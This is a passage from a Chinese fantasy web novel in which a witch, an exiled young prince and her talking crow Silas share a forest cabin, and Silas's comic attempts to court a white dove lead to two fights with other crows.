“嗯?”梅拉温柔地递上一句,仿佛在为塞拉斯接下来要说的话搭起了台阶。 果然,有了梅拉的鼓励,本就憋得心里难受的塞拉斯像是找到了一个宣泄的理由,断断续续地将它心中的苦闷一股脑地倒了出来。 它谈起了与那位白鸽小姐的初遇:“那是一个风和日丽的下午,我像往常一样飞到湖边欣赏风景,突然头上掠过一道白色的身影,引走了我全部的注意力……” 等一下,尽管塞拉斯描述得非常文艺,但梅拉总觉得字里行间充斥着一股强烈的熟悉感,就好像她曾经在哪看到过这样文绉绉的开头似的。 在哪呢?梅拉一面听,一面分神回忆。 噢!梅拉脑海中灵光一现,忽然想起来了,这不就是某本已经被她压箱底了的小说的开头吗? 所以塞拉斯是什么时候把这些书翻出来看的?还是特意瞒着她偷偷看的。 梅拉看着塞拉斯的眼神顿时变得格外的幽深。 只不过,由于太过投入于自己所讲的故事,塞拉斯根本没有注意到梅拉眼神的变化,还在滔滔不绝地描绘它那惊鸿一瞥,“……那身洁白无瑕的羽毛,那在高空之上游弋而过的曼妙身姿,每分每秒都在让我的心跳加速……” “好了好了,我知道那是一只非常美丽的白鸽了,你可以说重点了。”梅拉屈起食指,叩了叩桌面,示意塞拉斯赶紧把正文搬出来。 要是让塞拉斯去写小说的话,它的读者一定会因为它啰嗦的文笔而感到不耐烦的。 好在塞拉斯收到梅拉的警告,立刻识趣地清了清嗓子,将还未脱口而出的赞美给咽了回去,转而说到了梅拉最关心的部分: “……虽然我向这位年轻漂亮的白鸽小姐展开了热烈的追求,但它却对我避之不及,屡次拒绝了我对它的示好。” “譬如?” “譬如每当我试图接近它,它却立刻像受到什么惊吓一样飞走了;有天我摘了一束漂亮的野花想要叼给它看看,还故意将花放在了它的巢穴附近,是只要它从外面飞回来,绝对一眼就能看到的位置。没想到,等我第二天再去看它的时候,就发现花还在,巢里却已经空了……” 一提起这些令鸟伤心的往事,塞拉斯的情绪再度低落了下去,它怎么也想不通,自己为什么会被拒绝,难道这世上还有比它更聪明绝顶、英俊无双的乌鸦吗? 在自信这一方面,塞拉斯有着和它的主人一脉相承的坚定。 “可能是因为,鸽子也在乌鸦的食谱上吧。”一旁的莱克斯默默地来了一句。 “所以一见到你靠近,那位鸽子小姐就觉得你是打算把它当成了今天的猎物,当然要逃了。” 嗯?是这样吗?梅拉露出恍然大悟的表情,好像莱克斯说的还挺有道理的。 即使对方是一只鸽子,强迫它爱上自己的天敌也实在是太为难它了。 “原来是这样吗?!” 塞拉斯同样是一幅非常震惊的模样。 这也不怪它不知道,毕竟它还是只雏鸟时就跟着梅拉了,基本上梅拉吃什么,它也跟着吃什么,从没像其它乌鸦一样自己捕猎过。 像鸽子在乌鸦的食谱上这种事,自诩与其它乌鸦不一样,没法与它们交流的塞拉斯当然也就无从得知 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“给她送集市上买来的小玩意儿、给她找来珍贵的草药、邀请她参加舞会一起跳舞……”塞拉斯绞尽脑汁地回忆。 虽然那些小玩意儿梅拉压根不感兴趣,最后都成为了它的玩具。 虽然梅拉去完舞会就说一晚上都在跳舞简直太累人了,下次再也不去了。 “是这样啊,”莱克斯若有所思地勾起唇角,“可你看这些手段根本没有打动梅拉,不是吗?” 否则梅拉又怎么会孤立无援地逃离白松镇。 所以,塞拉斯一开始学习他们的做法就是错误的。 “……也不能说压根没有奏效吧,”被追求的当事人梅拉跳出来反驳道,“至少我就记得送我星斑藤的那个人叫普利尼,是住在隔壁黑河镇上的一名药材商人的儿子。” “送你星斑藤的那个人不是叫尼普利吗?以及他的父亲明明是黑河镇上的粮食商人。”塞拉斯疑惑地反问。 闻言,莱克斯右手握成拳,抵在唇上,免得一不小心笑出了声,惹得梅拉恼羞成怒。 梅拉悻悻地收了声,顺便将塞拉斯和莱克斯各瞪了一眼。 莱克斯也就算了,塞拉斯怎么就不长记性,非要拆她的台呢。 “总之,这些都是错误示范,你以后还是别学了。”莱克斯清了清嗓子,正色道。 “那你说我该怎么办?”塞拉斯难得低着脑袋,放低姿态,向莱克斯虚心求教。 莱克斯也没有糊弄它,给了个看上去非常可靠的办法,“这个简单,你去找一只求偶成功的乌鸦当做范例不就好了。” 人家既然成功了,那就说明它的做法一定有可取之处。 “好吧,为了我的爱情,我愿意作出这样巨大的牺牲。”塞拉斯沉默片刻,攥紧了翅膀,仿佛下定了某种决心。 “加油,塞拉斯!”身为它的主人,梅拉毫不吝啬地给予了自己的支持。 接着她看向没有表态的莱克斯。 “……加油。”莱克斯不得不硬着头皮道。 31. 第 31 章 塞拉斯灰溜溜地回来了。 它鬼鬼祟祟地降落到窗台上,探出小半个脑袋,视线绕着屋子内转了一圈,确认梅拉和莱克斯都不在小木屋里后,这才放心地走了进来。 然而下一秒,塞拉斯就被捏住后脖颈拎了起来。 “你鬼鬼祟祟的干什么呢?” 梅拉的声音从塞拉斯的背后传来。 激得它下意识的缩了缩脖子,不敢吭声。 很快,塞拉斯反应过来,这么做会显得它更加可疑,赶紧磕磕巴巴地开口,“没、没干什么啊,我就是想和你玩捉迷藏呢。” ? 没事玩什么捉迷藏? 梅拉把塞拉斯拎到自己面前,转过来,凑近了打量,“说起来,你为什么要拿翅膀捂着肚子?” “刚才风太大,好像吹得肚子有点凉,怕着凉吧,哈哈……”塞拉斯被拎着后脖颈还不老实,嘴里含含糊糊的,脚下也在使劲,试图脱离梅拉的钳制。 可惜,不管是当年塞拉斯还小时,还是现在,梅拉想要拿捏它都是轻轻松松的事。 “把翅膀挪开给我看看。” 梅拉直接上手扒拉。 吓得塞拉斯一下子挣扎得更加厉害了,爪子不断在腾空的状态下扑腾,唯独一对翅膀死死地捂住肚皮,不断躲避着梅拉伸来的手。 “不、不行!我是说,你先把我放下来再说……” “怕不是等我刚把你放下来,你就立刻飞走了吧?”梅拉才不跳这么笨的陷阱。 “我数三声,立刻坦白你想隐瞒的事情,否则——” 梅拉没把话说完,只哼了两声,让塞拉斯自己掂量后果。 “好吧,既然你非要看,那就看吧!” 塞拉斯视死如归一般打开翅膀,露出底下柔软的腹部,以及上头被啄得有些坑坑洼洼的地方。 一看就知道对方下了狠手。 “噗嗤。”梅拉忍了又忍,还是没忍住笑出了声,“你、你这是怎么、怎么一回事?” 难得见梅拉说话变得结巴,可塞拉斯不仅没有了笑话她的心情,反而因为自己就是那个笑话,而无比沮丧起来。 正因为早知道梅拉会是这个反应,所以它才不想被她看到! 结果偏偏还是让梅拉给撞见了。 塞拉斯恨不得时光倒流,在养好伤之前,干脆连小木屋都不回来了。 “好啦,快说是谁欺负了你,我让莱克斯去帮你找回场子。”梅拉克制住嘴角的弧度,故意严肃道。 可惜塞拉斯不是瞎子,看得见她眼里如初春时节,河中冰雪消融,重新流动起来的笑意。 她明明就是想听它是如何被欺负的故事了。塞拉斯郁闷地想。 可它的嘴巴却主动张开,让挤在喉咙处的回答找到出口,自己跑了出来。 “还不是因为莱克斯提的建议……” 为了帮助塞拉斯成功追求到它心爱的百合小姐,莱克斯提议,让塞拉斯找一个求偶成功的模范学一学,说不定从此就开窍了呢。 塞拉斯听了,觉得是个好主意,立刻行动起来,飞遍小木屋附近的树林,找到了一对每天都甜甜蜜蜜的乌鸦夫妻。 没办法,这会儿俨然快要进入盛夏,求偶期早已结束,塞拉斯只好将就一下,从这对夫妻身上学习公鸟是如何讨雌鸟欢心的。 塞拉斯悄无声息地停在了一根树枝上,离这对年轻的乌鸦夫妻筑的巢不远,还能借着枝叶的掩映偷偷摸摸地观察它们的生活。 看到公鸟用喙轻柔地给雌鸟梳理身上的羽毛,塞拉斯心里想的却是梅拉曾经用手温柔地拂过它的身体。 梅拉的指甲通常修剪成圆润的形状,如同一粒粒白里透粉的贝壳一般,陷入塞拉斯的羽毛里,替它打理好不小心翻飞的那一根逆羽。 舒服得塞拉斯忍不住转过身,示意梅拉另一边也要。 视线中,身为丈夫的那只乌鸦忽然从巢里飞了出去,塞拉斯赶紧回神,琢磨它这么做的目的。 过了一会儿,它回来了,嘴里还叼着一块亮晶晶的石头。 原来是去找漂亮的小石头当礼物来送了。 塞拉斯眼神挑剔地打量着它递给雌鸟的那块石头,有个地方太尖锐,容易划伤嘴巴;花纹不够鲜艳,面积也不够大;颜色不够剔透等等,只觉得根本比不上自己这些年收藏的任何一块石头。 想当初,塞拉斯送给梅拉的第一块石头,可是它精挑细选了好久,山上山下飞了几百趟,才终于决定带回来的最完美的一块。 塞拉斯还记得梅拉收到它放到手心的石头时,眼里的惊讶根本掩饰不住,甚至高兴得直接合起手掌,把塞拉斯一把抱入了怀里。 “真是一块特别漂亮的石头,我很喜欢,谢谢你,塞拉斯。” 此时的塞拉斯还不懂要掩饰自己骄傲的小情绪,它直愣愣地笑出来,激动地许诺之后还会给梅拉找更多更漂亮的石头回来。 可惜那些漂亮的石头和白松镇的家一起,落到了不知道谁的手中。 或许是那个贪婪讨人厌的税务官,他总爱上门从梅拉手里讨点小便宜,最后还要让梅拉给他送免费的草药。 呸,真是不要脸。 又或许是隔壁总是不安好心的詹森太太,她嫉妒梅拉一个年轻的姑娘独自居住在那么大的房子里,而他们一家十几口人却要挨挨挤挤地住满家里的各个房间。 可又不是梅拉让她接二连三地生七八个孩子,甚至梅拉还劝过她,生太多孩子对身体不好。还记得她的脸色越来越苍白,简直快要和准备躺进棺材里的死人一样了。 最好是落到了好心肠的苏珊手里。 她会做美味的面包和烤肠,还会给塞拉斯用毛线织一块柔软暖和的垫子。整个白松镇上,除了梅拉之外,塞拉斯最喜欢她了。 可惜她的父母总是想要逼她嫁人。 如果她能住到梅拉的房子里,这样即使不用嫁人,她也能拥有属于自己的落脚之地了。 塞拉斯想得太入迷,以至于忘记了屏息凝神,不慎暴露了自己的踪 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只不过,身上的纱布禁锢了它的翅膀,塞拉斯大概得有好一阵子只能像个走地鸡似的,光靠两条腿走路了。 “亲爱的梅拉,你能不能用剪刀给我身上这块纱布修剪一下?我不想飞不起来。”塞拉斯试图用可怜巴巴的眼神打动梅拉,答应它的请求。 然而铁石心肠的梅拉拒绝了塞拉斯,她笑吟吟的目光在塞拉斯身上转了一圈,“这不是包得挺好的吗?圆滚滚的,是黑芝麻馅的馅饼。” 我看是你想吃黑芝麻馅饼了才对。塞拉斯暗戳戳地想到,却不敢真的和梅拉对着干。 算了算了,暂时飞不了就飞不了吧,只是它要有好长一段时间没法飞去找百合小姐了。塞拉斯不由得有些郁闷。 还有莱克斯,提的什么没有用的建议,它也是一时心急才会信了他的话。 也不想想,以莱克斯的年纪,又天天围着梅拉打转,连喜欢的对象都没有,又怎么可能为它的追爱大计提出什么有效的办法呢? 果然,靠人不如靠自己。塞拉斯暗道,决定之后还是要靠自己的方法来。 “所以你好不容易硬气一回,和别的鸟打架,到底是赢了还是输了?” 梅拉仍然对这个问题耿耿于怀,非要塞拉斯回答她。 “勉强算是平手吧。”塞拉斯也不知是为了挽尊,还是真的确有其事,总之给出了一个非常勉强的答案。 “真的?”果然,梅拉压根不相信。 “当然是真的!我还把它头顶上的羽毛啄掉了好多根,看它这下变成了半个秃子,估计要被嫌弃了吧。”塞拉斯发出一阵嘎嘎的坏笑。 别看它被当成宠物养了这么多年,野性几近于无,但真要惹恼了它,它塞拉斯也是不找回场子决不罢休的! 嗯,这点也和它的主人梅拉一样,不愧是一对相伴多年的好主宠。 32. 第 32 章 同样的午后,同样站在排列整齐的花盆前,莱克斯提着水壶仔细地控制着浇入花盆的水量,梅拉则跟在他身后,弯着腰,挑起面前粉色的花苞逐一进行查看。 透过尚处于闭合状态的薄如蝉翼的花瓣,能看见其中被掩藏起来的影影绰绰的花蕊,看样子似乎很快就能迎来这一批粉红烟管花盛开的日子。 换做平时,梅拉一定会为此感到高兴不已,然而现在,梅拉却对着长势喜人的花苞长长地叹了口气。 见莱克斯没有如预料中的那样搭话,梅拉只好重新重重地叹了口气。 其实猜到梅拉想说什么,所以故意不搭茬的莱克斯:“……怎么了吗?这花有哪里长得不好吗?” “不是花的问题,是塞拉斯的问题。”梅拉着重强调。 “自从它第六十七次接近百合小姐失败,已经整整两天没有回来小木屋了。” 梅拉认为可怜的塞拉斯一定是彻底受到打击,从此一蹶不振了。 “如果这两天按时回来吃晚餐,吃完又飞走也算没回来过的话。”莱克斯面无表情地补充。 这也是他丝毫不像梅拉一样担心塞拉斯的原因。 莱克斯觉得,塞拉斯这两天之所以躲在外头不愿意回来,大概是因为觉得太丢脸的缘故。 不过饭还是要吃的。 一到饭点,塞拉斯便会准时飞回来,对着碗里新鲜出炉的食物大快朵颐。 而吃完晚餐再当着梅拉与莱克斯的面飞走,也许是它试图维持自尊的最后的倔强。 莱克斯想,大概过不了多久,塞拉斯就会恢复元气,精神抖擞地重新露面。 更何况,“这次的打击其实对塞拉斯来说或许是件好事呢?至少帮助它认清了现实,不再试图追求永远不会回应它的对象。” 莱克斯从理智的角度分析到。 “听起来,你是觉得塞拉斯应该放弃这段感情吗?”梅拉问。 “在被心上人拒绝后,仍要继续纠缠的行为实在不属于一名贵族应有的风度。”每当莱克斯不想要回答某个问题的时候,他就会搬出格外冠冕堂皇的说辞。 莱克斯也说不清自己此刻是什么想法,只是下意识的觉得不能就这么向梅拉坦白。 有时候梅拉心情好,倒也随便莱克斯就这么糊弄过去,但现在,梅拉非要打破砂锅问到底,“谁要听你说这些,你只要说你心里到底是怎么想的就行了。” 莱克斯:“……” 好吧。 “我是这么想的没错。”莱克斯承认了。 “倘若换做是我,我是绝对不会像塞拉斯一样坚持追求一个屡屡拒绝自己的人的。” 在莱克斯看来,塞拉斯早该放弃了。 世人往往喜欢把这种不必要的执着称之为浪漫,许多传世的诗篇中,也有不少专门歌颂坚持就能获得真爱的故事。 然而骄傲如莱克斯,从来不屑于捧上一颗真心,任所谓的心上人三番五次地弃如敝履。 他宁可收回这份爱,也绝不要沦落到摇尾乞怜的地步。 “总觉得一旦你哪一天被心上人拒绝了,一定会做出比塞拉斯还要不可理喻的事情。”梅拉幽幽地道。 “不过,”不等莱克斯反驳,梅拉又道,“反正那也是你离开这里之后的事情了。” 毕竟这座黑暗森林里除了梅拉之外,暂时也没有别的女人了。 哪像在王宫里,永远有身份高贵的贵族小姐穿着华丽的衣裙,化着精致的妆容,出现在莱克斯的视线之中,羞答答地喊他一声—— “王子殿下。” 梅拉说着,自己都忍不住笑了起来。 “小心——”莱克斯眼疾手快地伸手,拉了梅拉一把,否则她差点就要整个人以蹲着的姿势往后栽去。 这下梅拉倒是站了起来,只不过却是直接扑到了莱克斯的怀里,嗅到了他身上干净的皂香。 十七岁的少年,距离成年的日子不再遥遥无期,甚至早已近在眼前,所以衣服包裹下的身躯自然是成熟的、覆盖着柔韧而富有弹性的肌肉。 甚至让梅拉撞得鼻子有些疼。 同样,莱克斯的鼻尖也充斥着属于梅拉的气息,草药的味道裹挟着女性独有的温暖馨香,以至于他竟然有一瞬的失神。 “莱克斯,”梅拉忽然喊他的名字,“我们是不是又该拜托杜克瓦托买肥皂了?” 梅拉非常严肃地道。 毕竟以梅拉日常粗心的程度,裙子上总是难免沾上大小不一的深渍,如果没有肥皂的话,是绝对洗不干净这些渍点的。 “……上个月买的那块肥皂是快用完了。” 莱克斯回过神,松开了梅拉。 本来他正打算过几天和梅拉说这事,既然现在她主动提及,倒是省去了莱克斯提醒的功夫。 只不过发生了这样一个小插曲,哪怕梅拉看起来并不在意,莱克斯还是忍不住把话题转回塞拉斯身上,仿佛这样就能忽略掉心底不该有的情绪。 “……说起来,就算塞拉斯得偿所愿,这段感情应该也不会长久的吧?” 见梅拉看过来,莱克斯补充道,“毕竟它不可能和塞拉斯交流,不是吗?” 这也是之前莱克斯说,那位百合小姐不可能会回应塞拉斯的原因。 塞拉斯是奇迹,是世上唯一一只能说话的乌鸦,它能有来有往地和梅拉与莱克斯交流,就证明它有不输于一般人的智慧。 而百合小姐,却只是一只普普通通的白鸽,它听不懂塞拉斯嘴里说的是什么,它发出的咕咕声也无法被塞拉斯所理解。 因此,莱克斯认为塞拉斯的这段感情完全是它一只鸟的一厢情愿。 这样就更不应该继续下去了。 否则当塞拉斯终有一天意识到,它永远无法与恋人心意相通,受到的打击只会比现在更大。 “按照你的说法,塞拉斯如果需要找一个能够交流的恋人,那它大概只能喜欢人类了吧。可是,”梅拉轻轻地抚平因为刚才的动作所导致裙子上出现的褶皱,“会有人能接受自己和一只乌鸦相爱吗?” 闻言,莱克斯沉默了。 他突然意识到,塞拉斯在这个世上其实是孤独的。 在其他鸟的眼中,塞拉斯说着和人类一样古怪的语言;但是在人类的眼中,塞拉斯只是一只过分聪明的鸟而 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见状,哪怕明知道是怎么一回事,莱克斯还是忍不住露出有些古怪的表情,“我已经十七岁了,”他强调到,“你是不是还觉得我是当年那个孩子?” 否则怎么会觉得不需要和他保持一个男人与一个女人之间应有的距离? “我知道啊,”梅拉语调轻松,打量的眼神飞快地扫过莱克斯的喉结,不断往下,“假如没到十七岁的话,应该也不会有这么一具漂亮的身材吧?” “我刚才有好好地感受到喔,是非常结实的肌/肉,看来这些年的锻炼没有白费。” 梅拉用带着调侃的口吻强调道。 然后莱克斯的耳朵就以一种肉眼可见的速度飞快地变得通红起来。 “梅拉!” 莱克斯难得带着些许怒意喊了梅拉的名字。 梅拉歪头,一幅完全不担心莱克斯会拿她怎么样的态度。 见到她这副模样,莱克斯心中的怒意真的盖过了羞意。 “梅拉!” 这回喊话的是匆匆忙忙飞回来的塞拉斯。 它的出现打断了空气中若有若无浮动的粉色气息。 塞拉斯忽略掉莱克斯的存在,一股脑地往梅拉的怀里扑去。 “塞拉斯,你这是怎么了?怎么翅膀上又掉了不少的羽毛?难道说,你又和哪只鸟打架去了?” 梅拉吃惊地打量着怀里的塞拉斯。 只见它虽然身上带着伤,脑袋却昂得高高的,一派神气得不得了的样子。 “哼哼。”塞拉斯高兴地哼哼了两声。 “你猜的没错,我是和别的鸟打架去了,但我这回可是有原因的。” 和上次偷窥别的乌鸦小夫妻被揍可不一样。 “这一次,我是为了救百合小姐才挺身而出的!” 塞拉斯兴高采烈地抛下这么一个重磅的消息。 “啊?” 塞拉斯的话引得梅拉与莱克斯面面相觑,一时间脑袋上顶了两个问号。 33. 第 33 章 在第六十七次的接近失败后,塞拉斯确实动过放弃的念头。 没办法,远远地看到从树枝上被惊起的白色身影,以及它仓惶地回头,似乎身后有恶徒在追的样子,塞拉斯只觉得自己的心都碎了。 就像梅拉曾不小心打碎的玻璃杯,砸到地上,碎成了千千万万大小不一的碎片,锐利的棱角泛着刺痛眼睛的冷光。 塞拉斯揉了揉发酸的眼睛,拖着蔫耷耷的身躯,垂头丧气地离开了这里。 不过,为着那不可言说的自尊心,塞拉斯选择先在外头呆几天,除了饭点,绝不回到小木屋。 果然,在塞拉斯刻意的卖惨之下,梅拉开始心疼它了。 为了挽留塞拉斯用完晚餐后在小木屋多待片刻,梅拉甚至主动端着一盘莱克斯刚切好的甜杏走了过来,热情地招呼它,“塞拉斯,快来尝尝这个杏子,味道可甜了。” “真的?快让我尝——”塞拉斯下意识地眼前一亮,挪动爪子往前走了两步,好在下一秒,它立刻反应过来自己的态度有问题,不应该表现得这么迫不及待、没心没肺才对。 于是,塞拉斯的动作一顿,赶紧装模作样地咳嗽了两声,摆摆翅膀,谢绝了梅拉的好意,“算了,我现在没心情吃这个,唉……这杏子的颜色可真漂亮,像极了我当初曾为百合小姐摘过的那束野花……” “来,张嘴。” 梅拉亲手用小叉子叉了一块杏子递到塞拉斯的嘴边。 塞拉斯毫不犹豫地张嘴吃了下去,生怕慢了一秒,梅拉就把手收了回去。 它嚼嚼嚼。 嗯,梅拉说的没错,这杏子可真甜啊。 塞拉斯的嘴里分泌出口水,望着盘子里的黄澄澄,眼巴巴的还想再来一块。 梅拉忍着笑,满足了它的愿望。 一旁正把洗碗布晾起来的莱克斯顺势投来一瞥,这就不装了,破功可真快,也就是梅拉不想戳穿它,否则按照塞拉斯那点演技压根不够看的。 吃了小半盘杏子后,塞拉斯感觉胃里鼓鼓的,饱胀感简直快要顶到喉咙口,于是忍痛拒绝了梅拉继续递来的果脯。 “我该走了。”它说。 接着一振翅膀,扑向了窗外。 看起来走得毫不留恋。 等到深夜时分,小木屋的灯光暗了下去,估摸着梅拉和莱克斯大概已经睡着了之后,塞拉斯才鬼鬼祟祟地飞了回来,落到了小木屋的屋顶上。 这里有一个专门用来存放它所喜爱的亮晶晶小东西的巢。 只不过以前塞拉斯更喜欢和梅拉待在一起,宁可站在屋子里的栖杆上睡觉,这个巢也就顺理成章地空置了下来。 不过,现在么,塞拉斯虽然要装出一幅伤心的模样,但如果真的要让它独自睡在外头,随时提防有可能出现的敌人和到处乱飞的小虫子,半夜还要被不知道哪些野兽弄出来的动静吵醒,那是绝对不可能的。 因此,塞拉斯正好重新把这个巢捡起来使用,舒舒服服地把自己窝进去,闭上了眼睛。 等到朝阳在地平线上露面的那一刻,再不紧不慢地离开,避免让梅拉或是莱克斯发现。 然而,今天的太阳快完全升到头顶上时,塞拉斯才终于醒了过来。 它吓得扑扇了两下翅膀,往小木屋底下瞧了瞧,庆幸地发现一向习惯早起的莱克斯并不在,才着急忙慌地飞了起来。 小木屋里,站在窗前的莱克斯正好目睹了这一幕:“……” 他转身看了看同样因为睡了懒觉,这会儿还躺在摇椅上眼神迷蒙的梅拉,再一次感叹主人和宠物果然是长得越来越像的一对存在。 * 塞拉斯飞到一半,忽然被地上一个亮闪闪的小东西吸引了视线。 它压低身体,落到地上一看,原来是一枚小小的纽扣。 塞拉斯认不出这是什么材质做成的纽扣,只觉得它看起来就像一粒贝壳一样,是乳白色的,还带着波浪似的弧度。 偶尔阳光侥幸地从繁茂的枝叶间隙透进来一缕,照在这枚纽扣的身上,便闪出了白色的冷光,难怪会吸引到塞拉斯的视线,乌鸦的天性如此,它们天然喜爱一切亮晶晶的东西。 奇怪,黑暗森林罕有人至,谁会掉了粒纽扣在这里? 塞拉斯歪了歪脑袋,没想出个所以然来。 如果此刻莱克斯也在这里,一定能认出这粒纽扣是八年前曾在王城十分流行的一种款式。 可惜,这里只有对此一窍不通的塞拉斯。 它满脑子都是不劳而获的窃喜。 既然掉在了地上,又恰巧被它所发现,那这粒纽扣理所当然就归它所有了。 塞拉斯兴高采烈地将纽扣叼起来。 本来它是打算将这粒纽扣直接带回去收藏起来的,只不过塞拉斯突然想到,尽管它已经打定主意要放弃追求百合小姐了,但还缺一份正儿八经的告别礼物。 梅拉买来的那些小说里写了,那些表白失败的男人为表风度,无一例外都会给女方再送点东西作为留念,有可能是一枚胸针,有可能是一条项链,总之哪怕是最落魄的男人,也要摘一束漂亮的野花送过去。 而塞拉斯自认有着不输于人类的智慧,在告别这件事上,当然也要像人类一样做到尽善尽美。 正好,这个就很合适。 以后,只要百合小姐一看到这粒纽扣,就一定会想起它塞拉斯吧。塞拉斯美滋滋地想到。 两扇翅膀煽动的速度更是加快了几分,整只鸟几乎如同利箭一样朝着一个方向急速飞去。 然后,塞拉斯就撞见了令它那双黑豆眼都下意识瞪大了的一幕。 “竟然有一只可恶的乌鸦追在百合小姐的屁股后头,张开了嘴,只差一点点,它就要得逞了!” 提起这事,塞拉斯仍然是一副义愤填膺的口吻,翅膀都下意识地攥了起来。 梅拉还没来得及提醒它。 于是下一刻,“嘶嘶嘶,好疼,好疼!” 塞拉斯立刻换了副面孔,不仅疯狂地倒抽冷气,而且疼得几乎要在梅拉的膝盖上直接跳起来。 还好梅拉眼疾手快地把它按住了。 否则塞拉斯若是真的跳起来,现在该疯狂倒抽冷气的人就该变成梅拉了。 “所以,你冲上去英雄救美了。” 梅拉用的是肯定句。 不然塞拉斯身上也不会有这么多的伤口。 其惨烈程度甚至有些地方能看到有粉色的皮肉隐隐约约地露出。 梅拉这下是真的心疼不已。 听到塞拉斯叫着“好疼 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但,有了上一次的经验,塞拉斯成功地从那名年轻的乌鸦丈夫身上学习了如何躲避要害,又能给敌人迎头痛击的技巧,然后将这个技巧在这一次的斗殴中运用得炉火纯青。 “别看我身上揣着这么多的伤口,但那只臭乌鸦最后可是直接被我吓跑了呢。” 塞拉斯简直得意坏了。 一时间,仿佛身上的伤口都不疼了,这完全是它荣誉的勋章嘛! “对了,那百合小姐呢?”梅拉忽然想起来刚才塞拉斯完全没提到英雄救美故事中的女主角。 它的后续呢? “当然是成功逃走了啊。”塞拉斯道。 好不容易它的敌人被塞拉斯引开了全部的注意力,它正好趁着这个机会飞进了另一片林子里去躲了起来。 至于它到底躲去了哪,这个塞拉斯就不知道了,毕竟它一心想着受了伤,当然要赶紧回小木屋来找梅拉了。 “不过,我把那粒纽扣留下了,虽然没有好好地当面道别,但《情迷庄园之夜》里说了,留下礼物后默默地离去,不失为一种体贴的潇洒。” 塞拉斯挺起胸脯,顺便拨弄了两下没被纱布裹住的羽毛,觉得自己是这世上最潇洒的乌鸦无疑。 听到这个似乎有些熟悉的书名,梅拉反应了好一会儿,才总算想起来,这不就是那本通篇文绉绉的,被她潦草看完一遍直接压箱底了的小说吗? 没想到塞拉斯竟然好这一口。 和她这个主人的品味可真是相去甚远。 不过,梅拉不动声色地往后挪了几步,凑到莱克斯的身边“看来你担心的那件事暂时不会发生了。” 至于是什么事,莱克斯心知肚明,无非就是下午两人在屋后讨论的,莱克斯认为塞拉斯若是继续坚持下去,只会受到更严重的伤害。 而梅拉当时没来得及表明的态度,现在也很清晰了,那就是不赞同莱克斯的想法。 “你看,其实很多事情,未必走得到那么长远,根本没必要担心未来的结果。”梅拉轻巧地拍了拍莱克斯的肩膀,轻笑一声,转身离开了。 根本没必要担心未来吗? 莱克斯在心底反复咀嚼这句话,眼神逐渐变得深邃起来。 34. 第 34 章 梅拉总觉得最近的天气越来越热了。 按理来说,黑暗森林常年弥漫着一股森冷的气息,即使在夏季最炎热的时候,置身其中也会有一种后背发寒的感觉。 哪怕当初建造小木屋时,她特地挑了能照进阳光的地方,也不应该这么热才对。 仿佛人都快要融化在椅子上。 身体内的燥热促使梅拉端起放在一旁的杯子,和人一样蔫吧的薄荷叶飘在水里,根本看不出刚从盒子里拿出来时那绿意盎然,仿佛自摘下来生机就凝固在了叶片上的模样。 梅拉尝了一口,薄荷应有的清新提神的味道已经几近于无,更别提舒缓她体内的热意。 梅拉下意识想呼唤莱克斯,结果发现他人并不在屋子里。 奇怪,莱克斯去哪了? 与此同时,梅拉倒是注意到了趴在角落的柜子上,一动不动的塞拉斯。 这个角落应该是整座小木屋里最阴凉的一处地方了,常年不见阳光,遇上雨季洇了水汽会变得有些潮湿,偶尔,柜子底部还会冒出两朵细小的蘑菇。 因此,塞拉斯躲在上头,简直像是终于找到了一处避难所,它那一身羽毛在这样的热度下可比梅拉更加难捱。 即使如此,塞拉斯一旦动弹,哪怕只是稍微变换一下姿势,一股热气瞬间从体内蒸腾上来,让它恨不得往自己身上兜头浇一盆冷水才好。 突然,门口出现了莱克斯的身影,他的手里拎着几条手帕,走过来,将其中一条递到了梅拉的手里。 帕子是湿润的,应该刚浸过水,又让莱克斯拧到了不至于往下滴水的程度。总之,梅拉将它往脸上一盖,忍不住发出一声舒服的喟叹。 冰凉清爽,丝滑的触感体贴地裹住了皮肤的每一寸。 什么好东西? 听到动静,塞拉斯抬起头,发现莱克斯又偷偷给梅拉特殊待遇,顿时嚷了起来:“我也要我也要。” 莱克斯手里本来就还剩两条手帕,自然是每个人都有份,包括塞拉斯。 只不过对塞拉斯,莱克斯就没那么温柔了。 随着莱克斯走过来,塞拉斯的眼前忽然一黑,原来是手帕像一张冰凉的毯子一样盖到了它的身上。 塞拉斯顾不上抱怨莱克斯的粗鲁,往前蹭了蹭,大半个脑袋从手帕下挪了出来,然后停住了,像梅拉一样发出舒服的叹息。 此时,莱克斯反倒只是用手帕擦了擦脸上流下的热汗,可以说是这座屋子里最体面的一个。 “对了,这一条手帕是你从旧衣服上剪下来的吗?” 梅拉摸着比寻常麻布更柔软的触感,更轻薄的质地,明显是贵族们最钟爱的绸布。 “嗯,”莱克斯应了一声,顺便解释了一句,“十二岁那年穿来的旧衣服,留着也没用,好在布料还算能用,就干脆剪了好几块手帕下来。” 实际上,是莱克斯见梅拉热得不成样子,才特地将这套衣服给找了出来。 莱克斯不提,梅拉都忘了,他还有过这么一套衣服。 毕竟自从她拜托杜克瓦托给莱克斯买了新衣服后,莱克斯就把从王宫里带出来的这套衣服给收了起来,再也没有穿上身过。 平时都是做最普通的平民打扮。 站在莱克斯的角度,倒是很好理解。 供给王储穿的衣服当然要用到最好的布料,再由王城里出名的裁缝精心制作,连上头的金线都细细地绣了月桂叶的花纹,绕了袖口一圈,精致又华贵。 只不过穿着这样的衣服干活,难免有些碍事,轻易还容易勾住,扯开一个口子,还不如换上更结实耐用的麻布衣服。 话说回来,“莱克斯,难道你一点都不热吗?” 梅拉扯下不再冰凉的手帕,朝莱克斯看过去,语气有些疑惑。 只见莱克斯仍然穿着平时那套衣服,扣子系得一丝不苟,领口将小半截脖子遮得严严实实,连袖子都没挽起来,仿佛快要把梅拉都融化的热度一点也没给他造成困扰。 对此,莱克斯的回答是,“是有点热。” 然而比起在大太阳底下穿着猎装,骑着马穿梭在王室的猎场中来说,莱克斯是真觉得目前还算能忍受。 哪怕时隔多年,莱克斯仍然能回忆起暴烈的阳光劈头盖脸地照在身上,汗水顺着额际一路流进眼睛里,咸得发酸的感觉。 即使如此,莱克斯也要耐心地捕捉周遭的细微动静,及时搭弓射箭。否则若是拿出来的猎物数量太少,或是让努伦格尔九世对他的表现感到不满意,他可就要直接对上努伦格尔九世那蛮不讲理的怒火了。 连六岁的小莱克斯让猎物弄得太狼狈,都能成为那个男人怒不可遏的理由,他毫不客气地指责道:“那么多骑士跟在你的身边,竟然都能弄成这个样子,真是废物!” 说着,他将刚擦过酒液的手帕用力丢到莱克斯脸上。 感受到周围大臣们明里暗里的视线,小莱克斯心间涌上了无比的屈辱。 即使到了现在,莱克斯还能想起那份屈辱的滋味。 